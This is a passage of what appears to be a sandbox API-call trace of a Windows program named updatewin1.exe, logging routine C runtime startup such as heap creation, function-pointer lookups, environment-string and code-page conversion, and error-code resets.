dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0093.390] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1fb0000 [0093.392] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.392] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0093.392] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0093.392] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0093.392] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0093.392] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.392] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.392] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.392] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.393] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.393] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.393] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.393] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.393] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.394] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.394] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0093.394] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x214) returned 0x1fb07d0 [0093.394] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.394] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0093.394] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0093.394] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.394] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0093.395] GetCurrentThreadId () returned 0xac0 [0093.395] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0093.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x800) returned 0x1fb09f0 [0093.395] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0093.395] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0093.395] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0093.395] SetHandleCount (uNumber=0x20) returned 0x20 [0093.395] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" " [0093.395] GetEnvironmentStringsW () returned 0x524e70* [0093.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0093.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x0, Size=0x565) returned 0x1fb11f8 [0093.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1fb11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0093.395] FreeEnvironmentStringsW (penv=0x524e70) returned 1 [0093.395] GetLastError () returned 0x0 [0093.395] SetLastError (dwErrCode=0x0) [0093.395] GetLastError () returned 0x0 [0093.395] SetLastError (dwErrCode=0x0) [0093.400] GetLastError () returned 0x0 [0093.400] SetLastError (dwErrCode=0x0) [0093.400] GetACP () returned 0x4e4 [0093.400] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x0, Size=0x220) returned 0x1fb1768 [0093.400] GetLastError () returned 0x0 [0093.400] SetLastError (dwErrCode=0x0) [0093.400] IsValidCodePage (CodePage=0x4e4) returned 1 [0093.400] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.400] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0093.400] GetLastError () returned 0x0 [0093.400] SetLastError (dwErrCode=0x0) [0093.400] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0093.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.401] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0093.401] GetLastError () returned 0x0 [0093.401] SetLastError (dwErrCode=0x0) [0093.401] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0093.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳘ᳹㞕AĀ") returned 256 [0093.401] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳘ᳹㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0093.401] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳘ᳹㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x70\x23\xad\x1d\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0093.401] GetLastError () returned 0x0 [0093.401] SetLastError (dwErrCode=0x0) [0093.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳘ᳹㞕AĀ") returned 256 [0093.401] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳘ᳹㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0093.401] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳘ᳹㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0093.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x70\x23\xad\x1d\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0093.402] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe")) returned 0x5f [0093.402] GetLastError () returned 0x0 [0093.402] SetLastError (dwErrCode=0x0) [0093.402] GetLastError () returned 0x0 [0093.402] SetLastError (dwErrCode=0x0) [0093.402] GetLastError () returned 0x0 [0093.402] SetLastError (dwErrCode=0x0) [0093.402] GetLastError () returned 0x0 [0093.402] SetLastError (dwErrCode=0x0) [0093.402] GetLastError () returned 0x0 [0093.402] SetLastError (dwErrCode=0x0) [0093.402] GetLastError () returned 0x0 [0093.402] SetLastError (dwErrCode=0x0) [0093.402] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.403] SetLastError (dwErrCode=0x0) [0093.403] GetLastError () returned 0x0 [0093.404] SetLastError (dwErrCode=0x0) [0093.404] GetLastError () returned 0x0 [0093.404] 